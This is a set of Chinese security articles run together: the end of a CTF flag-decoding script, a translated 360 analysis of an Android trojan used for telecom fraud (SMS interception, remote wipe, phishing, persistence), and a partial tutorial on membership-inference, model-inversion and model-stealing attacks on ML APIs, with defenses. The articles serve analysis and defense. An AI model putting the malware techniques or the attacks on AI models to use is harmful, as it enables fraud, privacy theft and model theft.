flag=[ 1 , 18 , 15 , 215 , 22 , 254 , 12 , 9 , 42 , 21 , 20 , 50 , 232 , 22 , 242 , 204 , 1 , 248 , 2 , 246 , 244 , 248 , 4 , 251 , 221 , 202 , 22 , 3 , 27 , 210 , 68 , 69 ]
flag[30]=j
flag[31]=156
for i in range(1,31):
flag[30-i] = flag[32-i]^flag[30-i]
if(flag[30-i]<33 or flag[30-i]>160):
ispass=1
break
if(ispass==0):
flag[0]=68
flag[1]=69
myPrint(flag)
正向异或法：
既然我们已经看“DD”字符串了，那么后面必然是“CTF”，正向再异或一遍，具体脚本如下：
flag=[ 1 , 18 , 15 , 215 , 22 , 254 , 12 , 9 , 42 , 21 , 20 , 50 , 232 , 22 , 242 , 204 , 1 , 248 , 2 , 246 , 244 , 248 , 4 , 251 , 221 , 202 , 22 , 3 , 27 , 210 , 68 , 69 ]
tmp=[]
tmp.append(flag.pop(30))
tmp.append(flag.pop(30))
tmp+=flag
tmp[2]=ord('C')+2
tmp[3]=ord('T')+3
for i in range(0,30):
tmp[i+2]= tmp[i] ^ flag[i]
for i in range(32):
tmp[i]-=i
print "".join(map(lambda x:chr(x),tmp))
想了解更多 题目出题人视角解析，请关注：滴滴安全应急响应中心（DSRC）公众号查看： | 社区文章 |
# 深入分析跨平台网络电信诈骗
|
##### 译文声明
本文是翻译文章，文章来源：360移动安全团队
原文地址：<http://blogs.360.cn/360mobile/2016/05/16/telecommunications_fraud_network/>
译文仅供参考，具体内容表达以及含义原文为准。
**摘 要**
* 360 移动安全团队发现全球首款专用于网络电信诈骗的Android木马,网络电信诈骗进化到包含移动终端在内的跨平台时期。
* 传统网络电信诈骗的过程中,诈骗者必需诱导受害人完成转账;而移动场景下,诈骗者仅依靠植入用户手机的Android木马,就能在受害人不知情的情况下完成远程转账。
* Android木马为网络电信诈骗增加了丰富的攻击方法,包括隐私窃取、短信拦截、远程控制和钓鱼等。
* 传统网络电信诈骗工具包括Web钓鱼网站、PC受控端和后台服务器,诈骗者利用这组工具窃取用户银行账户信息、监控用户PC并诱导用户完成转账。
* 传统网络诈骗的过程中,诈骗者能够成功诱导用户转账是诈骗成功的关键,因而用户感知度比较高。
* 移动场景下的诈骗过程大致包含六个步骤,其中转账过程不再需要受害人远程发起。
* 通过对比移动场景和传统PC场景下木马的隐私窃取能力、远控能力以及用户感知度,我们发现移动场景下用户面临的威胁更甚。
* 移动木马的关键技术包括钓鱼攻击、远程控制、短信监控、远程数据自毁、自我保护和隐私窃取。
* 通过对诈骗工具的研究,我们发现诈骗者正在由传统的使用PC木马转向使用Android木马。
* 代码中的汉字均为繁体,我们据此推测该木马制作团伙习惯使用繁体中文。
* 网络电信诈骗情报体系由三大块组成:诈骗目标相关情报、诈骗手法相关情报以及资金相关情报。
* 网络电信诈骗团伙分工极为明确,从角色上可粗略分为两大类:制马人和诈骗者。制马人负责木马研发,诈骗者负责实施诈骗。其中诈骗者又分为组织者和一线、二线、三线诈骗人员。
* 第三方SDK JPush和Apache Cordova被制马人滥用,TeamViewer被制马人篡改为PC远控端。
* 网络电信诈骗的其他风险包括污染搜索引擎资源、损坏用户终端数据以及隐私窃取造成的残余风险。
* Android木马的“跨界”攻击趋势越来越普遍,正逐渐向更多的传统犯罪产业渗透。
关键词:网络电信诈骗、Android木马、钓鱼、远程控制、隐私窃取
**第一章 Android木马现身网络电信诈骗**
近期,360
移动安全团队发现全球首款专用于网络电信诈骗的Android木马。该木马伪装成“公安部案件查询系统”,集隐私窃取、钓鱼和远控等多种恶意行为于一体,能够在受害人不知情的情况下转走其银行账户中的资金,对手机用户造成了极大的威胁。据此,网络电信诈骗进化到包含移动终端在内的跨平台时期。
一、 网络电信诈骗的进化史简介
电信诈骗是指犯罪分子通过电话、网络和短信等方式,编造虚假信息,设置骗局,对受害人实施远程、非接触式诈骗,诱使受害人给犯罪分子打款或转账的犯罪行为[[1](http://baike.so.com/doc/6012547-6225534.html)]。
网络电信诈骗由早期的电信诈骗演变而来。在早期的电信诈骗过程中,诈骗者仅依靠给受害人打电话实施诈骗,诈骗的成功率通常较低。
随着互联网的发展和普及,电信诈骗开始与互联网结合,发展成为网络电信诈骗。在网络电信诈骗的过程中,诈骗者通过打电话、网络钓鱼和PC远控木马三种手段联合实施诈骗,在一定程度上提高了诈骗的成功率。
近几年来,移动智能终端的迅猛发展,网络电信诈骗又一次完成了诈骗手段的进化——将Android木马运用到诈骗的过程中。Android木马的引入,使诈骗场景发生了质的变化。在传统网络电信诈骗的过程中,诈骗者必需诱导受害人完成转账;而引入移动场景之后,诈骗者即使没有成功地诱导受害人完成转账,也能依靠植入用户手机的Android木马,在受害人不知情的情况下完成远程转账。
二、 网络电信诈骗的一般过程
360天眼实验室最近发布的《冒充最高检网络电信诈骗之追溯》[[2](http://bobao.360.cn/learning/detail/2851.html)]是网络诈骗最典型的案例,其中描述了网络电信诈骗的一般过程:搜集用户资料、拨打诈骗电话、钓鱼获取用户银行账户信息、诱导用户转账等。其间诈骗者可能诱导用户安装PC端远控木马以获取更多的用户隐私信息,确保成功实施诈骗。
三、 Android木马为网络电信诈骗引入新的诈骗手法
Android木马为网络电信诈骗增加了丰富的攻击方法。伪“公安部案件查询系统”软件包含隐私窃取类木马、支付类木马、远控木马和钓鱼木马,其中隐私窃取类木马和远控木马在传统PC端木马中也曾出现过,但是Android隐私窃取类木马和远控木马所能实现的功能远比PC端同类型木马强大,其能够获取与受害人资金和生活密切相关的短信、联系人等隐私信息,并灵活地控制受害人手机的短信收发动作以及通话,所以我们认为Android隐私窃取类木马和远控木马是网络电信诈骗中不同于PC端木马的新型手段。下图橙色部分表示移动场景下新增木马类型:
[](http://blogs.360.cn/360mobile/files/2016/05/image3.jpg)
图1.1 移动场景新增木马类型
Android隐私窃取类木马可以窃取受害人手机联系人、短信、通话记录等信息,Android远控木马可以控制受害人手机收发短信、手机黑屏以及拍照回传等等,这些功能是传统网络电信诈骗中PC远控木马所不具备的。最为致命的是移动场景下的支付类木马,可以协助诈骗者在受害人不知情的情况下完成远程转账。在这些强大功能的基础上,诈骗者可以实时了解受害人的情况并控制受害人的手机,完全掌握受害者的一举一动。
[](http://blogs.360.cn/360mobile/files/2016/05/image4.jpeg)
图1.2 新增木马功能示意图
**第二章 Android木马升级网络电信诈骗威胁**
360
移动安全团队发现伪“公安部案件查询系统”后,对该诈骗工具背后的团伙进行了持续追踪和研究,发现该团伙已拥有了一套强大的诈骗工具。本章将为大家揭开这些工具的面纱并重点研究移动场景下的诈骗工具和诈骗过程。
一、 传统网络电信诈骗工具组合及威胁能力评估
传统网络电信诈骗的一般工具组合为Web钓鱼网站、PC受控端和后台服务器,诈骗者利用这组工具窃取用户银行账户信息、监控用户PC并诱导用户完成转账。在此过程中,诈骗者能够成功诱导用户转账是诈骗成功的关键,因而用户感知度比较高。
(一) Web钓鱼网站
诈骗者通过Web钓鱼网站窃取用户银行账户信息并完成PC远控端木马的投放,用户点击如下页面中的“网上安全检控软件”即下载PC远控端木马。
图2.1 伪公安部钓鱼网站
(二) PC远控端
PC远控端运行后如下图所示,其实为一个特殊版的Teamviewer。诈骗者通过该定制的远控木马操作用户电脑,以便在诱导用户转账的过程中对用户行为实施远程监控。
图2.2 PC远控端
(三) 服务器后台
服务器端接收钓鱼网站和PC远控端回传的用户隐私信息。我们发现网络电信诈骗中的服务器多数采用租用境外服务器的方式,以躲避备案和追查。
二、 移动场景下网络电信诈骗过程
移动场景下的诈骗过程大致包含如下六个步骤:
步骤一:诈骗者拨打诈骗电话给受害者。诈骗者冒充公安部工作人员给受害者拨打电话,通报其涉及“XX经济犯罪洗钱案”(或者其他案件),接着告知受害者案件编号为“XXXX”,并让受害者保持电话畅通,等待再次联系。
步骤二:诈骗者发送Android木马下载链接给受害者。诈骗者再次给受害者打电话,并给受害者发送带Android木马下载链接的钓鱼链接——伪“中华人民共和国公安部”网站,该网站打开即开始下载Android木马。诈骗者接着诱导受害人安装Android木马,并输入案件编号查询相关案件和公文,查询结果如下图所示:
[](http://blogs.360.cn/360mobile/files/2016/05/image7.png)
图 2.3经济犯罪查询结果
步骤三:受害者使用木马输入银行账户信息。诈骗者使用伪造的“最高检刑事逮捕令”恐吓成功之后,会进一步诱导受害人进行帐户自清,帐户自清界面如下图所示,其实为一个钓鱼网页,当受害人输入自己的银行帐户信息之后,这些信息会被回传至诈骗者的服务器。
[](http://blogs.360.cn/360mobile/files/2016/05/image8.png)
图 2.4伪帐户自清系统
步骤四:诈骗者使用网银远程发起转账。诈骗者在获得钓鱼网页(Android木马中的帐户自清系统实际为一个内嵌的网页)回传的银行帐户信息之后,使用手机银行远程发起转账。
步骤五:Android木马拦截回传短信验证码。Android木马在截获到银行发送给用户的短信验证码之后回传给诈骗者。
步骤六:诈骗者使用验证码完成转账。诈骗者填入短信验证码完成远程转账,在此过程中,由于银行转账限额限制,诈骗者可能需要实施多次转账,且转账过程用户基本上无感知。
[](http://blogs.360.cn/360mobile/files/2016/05/image9.jpeg)
图2.5 移动场景下的诈骗过程
值得关注的是,当受害者安装木马到手机之后,诈骗者即可远程监控受害者的手机。这意味着移动场景下网络电信诈骗与传统PC场景下的诈骗存在着明显的区别:移动场景下,当诈骗者钓鱼成功——即受害者在钓鱼页面输入了自己的银行账户信息之后,“诱导受害者转账”不再是一个必要的过程,诈骗者完全可以在受害者不知情的情况下利用受害者的网银实施转账。
三、 移动场景与传统场景威胁能力对比
移动终端存储着用户的大量隐私信息,并且时常同用户的资金绑定在一起。控制用户的手机,一方面意味着对用户的隐私有完全的获取能力,另一方面也获得了对用户资金的控制能力。相比之下,用户在PC上存储的信息要少得多,移动场景下用户面临的威胁更甚。我们通过对比移动场景和传统PC场景下木马的隐私窃取能力、远控能力以及用户感知度详细阐述该结论。
(一) 隐私窃取能力对比
通过钓鱼获取的隐私信息,如银行账户信息,是两种平台上的木马都能窃取的。至于短信、联系人等移动特性相关的隐私信息,PC木马显然无获取能力。
[](http://blogs.360.cn/360mobile/files/2016/05/image10.png)
图2.6 隐私窃取能力对比
(二) 远控能力对比
无论PC还是移动端的木马都可以实现黑屏和远程数据自毁,但是依然由于移动端的天然优势,Android木马可以拦截短信、通话等,这些是PC木马做不到的。
[](http://blogs.360.cn/360mobile/files/2016/05/image11.png)
图2.7 远控能力对比
(三) 用户感知度对比
网络电信诈骗中诈骗者对受害者实施的主要恶意行为包括隐私窃取、钓鱼和转账,其中实施钓鱼的过程无论在哪个平台上实施都需要用户亲自输入信息,是有用户感知的。隐私窃取均发生在后台,完全无用户感知。而转账过程是体现PC场景与移动场景差异的地方,PC场景下的转账过程需要受害者发起,是有用户感知的,而移动场景下的转账过程完全无需用户参与。
[](http://blogs.360.cn/360mobile/files/2016/05/image12.png)
图2.8 用户感知对比
四、 Android木马关键技术揭露
Android木马将网络电信诈骗带入移动场景。相比于PC场景下(仅包含PC远控端木马)的网络电信诈骗,移动场景下的网络电信诈骗手法变得更加灵活和强大,其原因主要是Android木马所能实现的强大功能。
(一) 移动场景下新增诈骗工具
移动场景下的新增诈骗工具主要包括Android木马和控制服务器,其中Android木马具备钓鱼、远控和隐私窃取的能力,控制服务器主要向Android木马下发指令并接收回传信息。
[](http://blogs.360.cn/360mobile/files/2016/05/image13.png)
图2.9 Android木马运行截图
[](http://blogs.360.cn/360mobile/files/2016/05/image14.jpg)
图2.10 控制服务器注册手机管理界面
[](http://blogs.360.cn/360mobile/files/2016/05/image15.jpg)
图2.11 控制服务器指令管理界面
[](http://blogs.360.cn/360mobile/files/2016/05/image16.jpeg)
图2.12 控制服务器受害人信息管理
(二) 钓鱼攻击
移动端钓鱼页面加载代码使用Apache
Cordova[[3](http://cordova.apache.org/)]实现,Cordova提供了一组设备相关的API,通过这组API,移动应用能够以JavaScript访问原生的设备功能[[4](http://baike.so.com/doc/6950873-7173274.html)]。Android木马启动即会显示钓鱼页面,钓鱼页面通过JavaScript获取设备机型、imei和版本号等信息,回传至控制服务器,完成在服务器端的注册。当受害人在钓鱼页面中输入银行账户信息时,所有信息将会被回传至控制服务器。
[](http://blogs.360.cn/360mobile/files/2016/05/image17.png)
图2.13 钓鱼页使用JavaScript上传信息
(三) 远程控制
Android远程控制木马使用极光推送[[5](https://www.jpush.cn/)]Android SDK实现。极光推送,英文简称
JPush,是一个面向普通开发者开放的,免费的第三方消息推送服务[[6](http://baike.so.com/doc/7101178-7324169.html)]。Android远程控制木马使用JPush实现了设备注册、回传短信、回传联系人、回传通话记录、收发短信、写联系人、激活设备管理器、黑屏、拦截短信、切换通话、截屏回传、恢复出厂设置等指令,我们在控制后台只发现了部分功能,其他功能可能正在测试之中,代码中的“test”关键字也表明有些功能正在测试。
[](http://blogs.360.cn/360mobile/files/2016/05/image18.png)
图2.14 JPush推送接口
(四) 短信监控
短信监控是在远程控制的基础上实现的,木马根据服务器端的控制指令决定是否拦截短信并回传。
[](http://blogs.360.cn/360mobile/files/2016/05/image19.png)
图2.15 短信监控
(五) 远程数据自毁
数据自毁是躲避取证的有效手段之一。诈骗者在完成诈骗之后,通过控制服务器下发特定指令,Android木马接收到指令之后通过调用DevicePolicyManager的wipeData方法将用户手机恢复出厂设置。
[](http://blogs.360.cn/360mobile/files/2016/05/image20.png)
图2.16 清除数据
(六) 自我保护
木马启动之后,为防止被用户卸载,会诱导用户激活设备管理器,如果在启动的过程之中用户没有激活设备管理器,诈骗者仍可以通过控制服务器下发特定指令再次诱导用户激活。
[](http://blogs.360.cn/360mobile/files/2016/05/image21.png)
图2.17 诱导用户激活设备管理器
(七) 隐私窃取
木马收到控制服务器下发指令之后,后台执行相应的动作,回传用户短信、联系人等隐私信息。
[](http://blogs.360.cn/360mobile/files/2016/05/image22.png)
图2.18 窃取隐私
五、 网络电信诈骗主平台正由PC向移动过渡
在包含Android远控端的这个工具组合中,服务器端没有任何与PC远控端相关的控制部分,仅包含对Android远控端的控制后台,说明诈骗者正在由传统的使用PC木马转向使用Android木马。
通过对比PC场景下控制后台的菜单与移动场景下控制后台的菜单可以更加清楚地观察到这种变化趋势。后者的一级目录中增加了“注册手机资讯”,即受害者手机信息管理,其中包含多种下发远控指令的按钮。
[](http://blogs.360.cn/360mobile/files/2016/05/image23.png)
图2.19 PC场景和移动场景管理后台对比
第三章 背景信息揭露
一、 制作者信息
代码中的汉字均为繁体,我们据此推测该木马制作团伙习惯使用繁体中文。
[](http://blogs.360.cn/360mobile/files/2016/05/image24.png)
图3.1 代码中的繁体汉字
二、 诈骗情报体系
为提高诈骗的成功率,诈骗者需要搜集各方面的情报。网络电信诈骗情报体系由三大块组成:诈骗目标相关情报、诈骗手法相关情报以及资金相关情报。诈骗者通过黑市购买、网络搜索、木马回传等手段搜集所有这些情报,然后进行筛选、吸收,最后实施诈骗。
[](http://blogs.360.cn/360mobile/files/2016/05/image25.jpeg)
图3.2 诈骗情报体系
(一) 诈骗目标相关情报
诈骗者一般从黑市购买大量诈骗目标相关情报,这些情报包括受害者身份证信息、联系电话以及可能获取到的银行账户信息。
[](http://blogs.360.cn/360mobile/files/2016/05/image26.jpeg)
图3.3 诈骗目标相关情报
(二) 诈骗手法相关情报
诈骗手法即诈骗故事,诈骗者需要编造合理的故事来恐吓受害者,使受害者相信确有其事。诈骗手法中最常见的是冒充公检法、电信、邮政或医保工作人员给受害者打电话,通报其涉及某类案件或问题,进而实施诈骗。所以诈骗者在实施诈骗之前需要充分研究如上案例中的各个方面,具体情报知识体系如下图所示。
[](http://blogs.360.cn/360mobile/files/2016/05/image27.jpeg)
图3.4 诈骗手法相关情报
(三) 资金相关情报
资金是诈骗者实施诈骗的终极目的,也是诈骗者需要充分研究的对象。诈骗者会对各大主流银行的常见操作进行系统地搜集和学习,一方面为了在诈骗过程中灵活地诱导受害者,另一方面他们会尝试寻找银行体系中可利用的流程上的漏洞。此外,ATM、互联网金融产品相关的基本操作和知识也是诈骗者必须掌握的。频繁地小额取款是诈骗者洗钱的一种常见手法,所以要求诈骗者对ATM转账限额、ATM网络分布有详细的了解。
[](http://blogs.360.cn/360mobile/files/2016/05/image28.jpeg)
图3.5 资金相关情报
三、 角色划分
网络电信诈骗团伙分工极为明确,从角色上可粗略分为两大类:制马人和诈骗者。制马人负责木马研发,诈骗者负责实施诈骗。
诈骗者包括组织者和其手下不同的“专搞”团队,组织者根据诈骗手法的不同将任务分配给手下不同的“专搞”团队,例如团队A“专搞”经济犯罪,团队B“专搞”邮政,这种划分体系很可能是为了避免在诈骗的过程中出现混乱。
每个“专搞”团队又按任务细分为一线(又称前线)、二线(又称中线)和三线诈骗者。组织者将诈骗任务分拆为三个步骤,分别交给一线、二线和三线的小弟,一线执行完任务后“推给”二线,二线执行完任务后“推给”三线。具体的任务划分可能根据不同的团伙会有所差异。
[](http://blogs.360.cn/360mobile/files/2016/05/image29.jpeg)
图3.6 角色划分
四、 小结
诈骗者为躲避公安部门的追踪,一般选择跨境远程拨打诈骗电话,这也是制马人和诈骗者基本都来自境外的原因;由于诈骗者都是境外人员,他们对中国大陆的银行体系、公检法体系等知之甚少,所以需要搜集大量相关情报进行研究。
**第四章 相关风险分析**
一、 财产和隐私安全
网络电信诈骗对用户最直接的威胁就是隐私和财产损失。
二、 滥用第三方SDK
JPush和Apache
Cordova被滥用,一方面表明恶意软件开发者没有遵守合法的软件开发守则,利用合法的第三方SDK开发恶意软件;另一方面也体现了提供开放接口的第三方厂商对于注册开发者的资质审核不够严格,导致信誉低下的开发者使用其提供的SDK接入服务。
(一) 滥用JPush
[](http://blogs.360.cn/360mobile/files/2016/05/image30.png)
图4.1 木马中引入的JPush包
(二) 滥用Apache Cordova
[](http://blogs.360.cn/360mobile/files/2016/05/image31.png)
图4.2 木马中引入的Cordova包
三、 篡改第三方工具
PC远控端通过篡改TeamViewer而来,看起来像正规的公安部“网上安全检控软件”,从而能够诱导用户安装。这种篡改第三方工具的行为侵犯了工具所有者的合法权益,违背了工具开发者的原始意图。
图4.3 TeamViewer与PC远控端
四、 系统安全
木马接收服务器下发的特定指令后,可以将用户手机恢复出厂设置,并且恢复出厂设置时,系统会在不发出警告的情况下清除用户手机上的数据,从而实现远程数据自毁。这种远程数据自毁行为严重破坏了用户终端系统的完整性。
[](http://blogs.360.cn/360mobile/files/2016/05/image21.png)
图4.4 激活设备管理器具备清除所有数据的能力
五、 资源信誉
使用Google搜索“账户自清系统”第二条即展示伪“中华人民共和国公安部”网站,这种虚假网站污染搜索引擎资源,破坏了搜索引擎资源的信誉度。
[](http://blogs.360.cn/360mobile/files/2016/05/image33.jpeg)
图4.5 Google搜索账户自清系统
六、 残余风险
随着远控木马的进化,针对移动终端的远控木马有长期留存用户手机的可能。攻击过后,用户的隐私信息可能再次流入地下黑市,给用户造成长期的不良影响。
**第五章 Android木马的“跨界”攻击趋势**
此款专用于网络电信诈骗的Android木马,并非Android木马第一次“跨界”传统犯罪产业。Android木马“跨界”传统犯罪产业已经变得越来越常见,如Android勒索软件、Android色情软件以及Android刷流量软件等。
一、 Android木马“跨界”电信诈骗
360 移动安全团队于2016年3月捕获到第一个专用于网络电信诈骗的Android木马,这意味着Android木马已经进入电信诈骗领域。
二、 Android木马“跨界”勒索敲诈
2014年5月Android平台首次出现勒索软件[[7](http://malware.dontneedcoffee.com/2014/05/police-locker-available-for-your.html)],此后Android勒索软件作者对用户的敲诈从未中断。
2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。2015年国内用户因Android勒索软件遭受的损失达到345万元,2016年第一季度国内用户因Android勒索软件遭受的损失接近90万[[8](http://blogs.360.cn/360mobile/2016/04/12/analysis_of_mobile_ransomware/)]。
三、 Android木马“跨界”色情产业
色情播放器已成为Android木马最常见的传播媒介,舞毒蛾[[9](http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/)]、百脑虫[[10](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/)]等木马均是以色情播放器为媒介进行传播。
色情播放器本身会借助恶意广告进行传播,如道有道恶意广告[[11](http://blogs.360.cn/360mobile/2016/03/24/analysis_of_daoyoudao/)],该广告推广色情软件的行为曾被3.15曝光。
四、 Android木马“跨界”流量作弊产业
流量僵尸木马[[12](http://blogs.360.cn/360mobile/2015/08/27/analysis_of_flowzombie/)]是Android木马“跨界”流量作弊产业最为典型的案例,此类木马在用户每次滑动解锁手机屏幕时都会在后台进行一次静默刷流量操作,若手机安全软件未对此类木马进行查杀,则仅我们发现的44万余部被感染的手机,每天就会为木马所指向的导航网站和搜索引擎刷掉约6683万次的虚假请求量,约可占国内最大搜索引擎日均搜索请求量的68%。
附录:参考文献
[1]电信诈骗的定义
http://baike.so.com/doc/6012547-6225534.html
[2] 冒充最高检网络电信诈骗之追溯
http://bobao.360.cn/learning/detail/2851.html
[3]Apache Cordova官网
http://cordova.apache.org/
[4]Cordova简介
http://baike.so.com/doc/6950873-7173274.html
[5]极光推送官网
https://www.jpush.cn/
[6]极光推送简介
http://baike.so.com/doc/7101178-7324169.html
[7]Police Locker land on Android Devices
http://malware.dontneedcoffee.com/2014/05/police-locker-available-for-your.html
[8]Android勒索软件研究报告
http://blogs.360.cn/360mobile/2016/04/12/analysis_of_mobile_ransomware/
[9] “舞毒蛾”木马演变报告
http://blogs.360.cn/360mobile/2016/03/08/analysis_of_wudue/
[10] “百脑虫”手机病毒分析报告
http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/
[11] “道有道”的对抗之路
http://blogs.360.cn/360mobile/2016/03/24/analysis_of_daoyoudao/
[12] 流量僵尸木马及流量黑产分析报告
http://blogs.360.cn/360mobile/2015/08/27/analysis_of_flowzombie/ | 社区文章 |
# 如何利用API对AI发动攻击？
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
现在机器学习即服务（Machine Learning as a
Service,MLaaS）是非常热门的，很多大厂都把自己的模型开放作为其云平台的一项服务，国外的Google，Amazon，国内的Baidu,Face++等都有类似的服务。但是模型的具体架构、训练算法等细节是不公开的，知识会提供API，供用户使用，MLaaS的提供商可以通过此API向用户收取查询费用来获得收入。从攻击者的视角来看，API可能会带来哪些风险呢？本文将会介绍三种利用API接口发动的攻击，以及对应危害，并给出防御策略。
## Membership Inference Attack
该攻击目的是针对一个给定的的机器学习模型，给定一条记录，攻击者可以判断给定记录是否是训练集的一部分，这就涉及到了训练数据集的隐私泄露问题。通过该方法，攻击者就可以推测出有关于模型训练集的信息。
如上图所示，攻击者将目标记录作为input交给目标模型，模型会返回对该记录的output，其output是一个概率向量。攻击者将预测向量、目标记录的标签，传给攻击模型，攻击模型就可以判断记录是否在目标模型的训练数据集内。
### 攻击流程
该方案是三种方案中最繁琐的，所以有必要展开细说。
首先需要构造训练数据集，用其来训练影子模型（shadow
model）（这些模型的行为与目标模型类型，不过相比于目标模型，我们明确知道给定的记录是否在影子模型的训练集中），然后使用影子模型教攻击模型(attack
model)区分成员数据和非成员数据，最后利用训练好的攻击模型对目标模型进行推理即可。
Q1.怎么训练影子模型？
我们构造与目标模型的训练数据集格式相同的数据集对影子模型在与目标模型相同的机器学习平台上进行训练，所有k个模型内部参数都是独立训练的。
Q2.影子模型的训练数据集怎么构造？
有三种构造方法。
第一种是基于模型的合成（model-based synthesis），利用目标模型本身为影子模型合成训练数据。算法如下
合成过程分为两个阶段：(1)利用爬山法（hill-climbing）对可能的数据记录空间进行搜索，找出目标模型会给出较高置信度的输入记录；(2)从这些记录中抽取合成数据。在此过程合成记录之后，攻击者可以重复该记录，直到影子模型的训练数据集已满为止
第二种是基于统计的合成（statistic-based
synthesis）。攻击者可能拥有被提取目标模型所需训练数据的总体集合的一些统计信息。例如，攻击者可以事先知道不同特征的边缘分布。可以通过独立地从每个特征的边缘分布中采样的值来生成数据集。
第三种是带噪声的真实数据（noisy real data）,这针对的情况是攻击者可以访问一些与目标模型的训练数据类似的数据。
Q3.攻击模型如何训练？
如图所示，我们在影子模型的输入和输出上训练攻击模型。对于影子模型训练数据集中的所有记录（成员数据），我们查询模型并获得输出。这些输出向量被标记为“in”并添加到攻击模型的训练数据集（非成员数据）中。
我们还使用与其训练数据集不相交的测试数据集查询影子模型。 该集合上的输出被标记为“out”，并添加到攻击模型的训练数据集中。
这个方案看起来比较繁琐，但是这么做是有理由的、
在黑盒的场景下，可以从目标模型中得到的只有预测向量，甚至在实际场景下，由于企业的使用限制，无法从目标模型中获得足够多样本的预测向量。此外，由于不同样本的预测向量的分布本身就不一致，即使攻击者直接利用预测向量进行训练，也无法实现较好的攻击效果。因此，
需要使用与目标网络相同的结构，并建立与目标数据集同分布的影子数据集，之后为每一类数据建立多个影子模型，实现了对预测向量的数据增强效果，并获得了大量的预测向量作为攻击模型的训练样本。并且利用预测向量构建了攻击模型，使其能够捕捉预测向量在成员数据和非成员数据之间的差异，从而完成了黑盒场景下的成员推断攻击。
### 原理
简单来说，该攻击可行主要有两个原因。
一个是过拟合（overfitting），成员推理攻击实际上是指攻击者能够区分出目标模型的训练集成员与非训练集成员，而模型的过拟合问题则是指模乘能够完美的预测训练集但是对于新数据的预测能力弱。如果一个模型过拟合，或者说泛化能力太弱的话，其训练集成员和非训练集成员就容易区分；另一个原因是训练集数据不具有代表性，机器学习的一般假设是测试集数据和训练集数据是同分布的，不具代表性也就是指训练集数据和测试集数据的分布是不同的，那么在训练集上训练出来的模型就不能很好贴合测试集的数据，从而导致模型的训练集与测试集异于区分。这两点原因使得成员推理攻击能够成员。
### 防御
防御方案都很多，这里给出几种比较典型的。
一种方案是知识蒸馏。知识蒸馏是利用迁移知识使得能够通过训练好的大模型得到小模型从而能够部署在资源受限的设备如手机中，大模型称之为教师网络，小模型称之为学生网络。防御成员推理攻击的实质实际上是无法区别模型训练集成员与非成员，而知识蒸馏这一技术恰好能够实现这一点。
一种方案是dropout，正如我们前面提到的，成员推理攻击能够成功的原因是由于模型的过拟合，因此可以通过提高模型的泛化能力从而使其能够防御成员推理攻击。Dropout在训练的过程中以一定比例随机失活神经元来达到提升模型泛化能力的效果。
一种方案是模型堆叠（model
stacking），通过避免模型的过拟合来实现防御。使用三个分类器来实现分类任务，将前两个分类器的结果作为第三个分类器的输入，且三个分类器使用不相交的数据集，减少了模型记住训练集的可能，从而达到避免模型过拟合的效果。
## Model Inversion Attack
该攻击的目的是利用黑盒模型输出中的置信度等信息将训练集中的数据恢复出来，上图所示就是利用该技术将人脸从面部识别模型中提取出来，其中左边提取出的人脸，右边是训练集中的人脸。
### 攻击流程
攻击的关键算法如下所示
首先定义一个关于人脸识别模型f和AUXTERM的损失函数c（AUXTERM会使用任何可用的辅助信息），然后最多进行α次迭代梯度下降，梯度步长大小为λ。每一次执行梯度下降后，得到的特征向量会传给后处理函数PROCESS,它可以根据给定的攻击进行各种图像处理，比如去噪、锐化等。如果损失在β次迭代中未能提高，或者至少与γ一样大，则终止梯度下降过程并返回最佳结果。
攻击者需要计算损失函数c的梯度，这就反过来要求计算模型f的梯度，这就意味着模型必须是可微的。
当然，该方案有明显的局限性，从下图可以看出，应对不同的算法进行攻击时，其攻击效果差异较大。
针对softmax，其重构出的图像具有清晰可辨别的特征，而MLP和DAE的特征轮廓模糊得多。
## 实战
为了简单起见，我们对线性分类器做攻击
模型训练完成后准备进行攻击
先看看待攻击的目标
先初始化x，然后发动模型逆向攻击，下面的for循环就是利用x和目标标签的损失进行反向传播、更新，以一步步使x接近目标人脸
将x画出来
从上图可以看到结果与训练集中的原图像是非常接近的，说明我们攻击成功了。
### 原理
模型输出的置信度包含了输入数据信息，可以作为输入数据恢复的线索。攻击者将模型逆向
攻击问题转变为一个优化问题，优化目标为使逆向数据的输出向量与目标数据的输出向量差异尽可能小。也就是说，假如攻击者获得了属于某一类别的输出向量，那么他可以利用梯度下降的方法使得逆向的数据经过目标模型的推断后，仍然可以得到相同的输出向量。
### 防御
由于该攻击是基于梯度的，所以模型所有者降低用户可以从模型中提取出的梯度信息的质量或者精度即可。最直接的方案就是降低模型返回的置信度的精度，对softmax生成的分数进行四舍五入即可。
上图是不同舍入精度下攻击的效果，可以看到，精度越低，则攻击效果越差。
## Model Stealing Attack
注意模型窃取和模型逆向的区别，模型逆向攻击的目的是为了逆向得到训练集中的数据，比如上面的例子就是逆向得到人脸，而模型窃取的目的是为了得到模型的信息，如参数、架构等。
该攻击目的是通过向黑盒模型进行查询获取相应结果，获取相近的功能，或者模拟目标模型决策边界。
这项技术的危害是什么呢？模型本身托管在一个安全的云服务中,它允许用户通过基于云的预测API查询模型。模型所有者通过让用户为预测
API付费来实现模型的业务价值,所以机器学习模型属于商业秘密.此外,一个模型的训练过程需要收集大量的数据集,也需要大量的时间和巨大的计算能力,所以一旦提取出模型并对其滥用,就会给模型拥有者带来巨大的经济损失。从另一个角度看，如果攻击者窃取了模型，那就相当于就拥有了模型的白盒权限，此时发动对抗样本等攻击就非常轻松了。
### 攻击流程
攻击流程的本质就是攻击者构造输入,向预测 API提交查询,并接收输出,获得许多输入输出对。
我们以考虑攻击线性回归模型。
线性回归模型形式上为f(x) = σ(w·x+
β),w为d维的weight,β为bias.逻辑回归是一个线性分类器，它在特征空间中定义了一个超空间，然后将样本分为两类。给定一个样本(x,f(x))，我们相当于获得了一个线性方程w·x+
β=，因此我们只需要d+1个样本对（即查询d+1次），就足以恢复出w和 β，这样便实现了模型窃取攻击。
### 实战
我们以攻击基于MNIST训练得到的线性分类器为例
由于MNIST中的图片的size为28 _28，所以我们就设计w为28_ 28，那么总计有28*28+1个参数
训练完成后打印查看模型性能
由于模型中参数太多，我们打印前20个
接下来我们执行”d+1”次查询，查询的x可以任意，满足查询次数即可
打印求解结果的前20个（即恢复出的前20个参数）
与模型原参数对比可知，是非常接近的。
### 原理
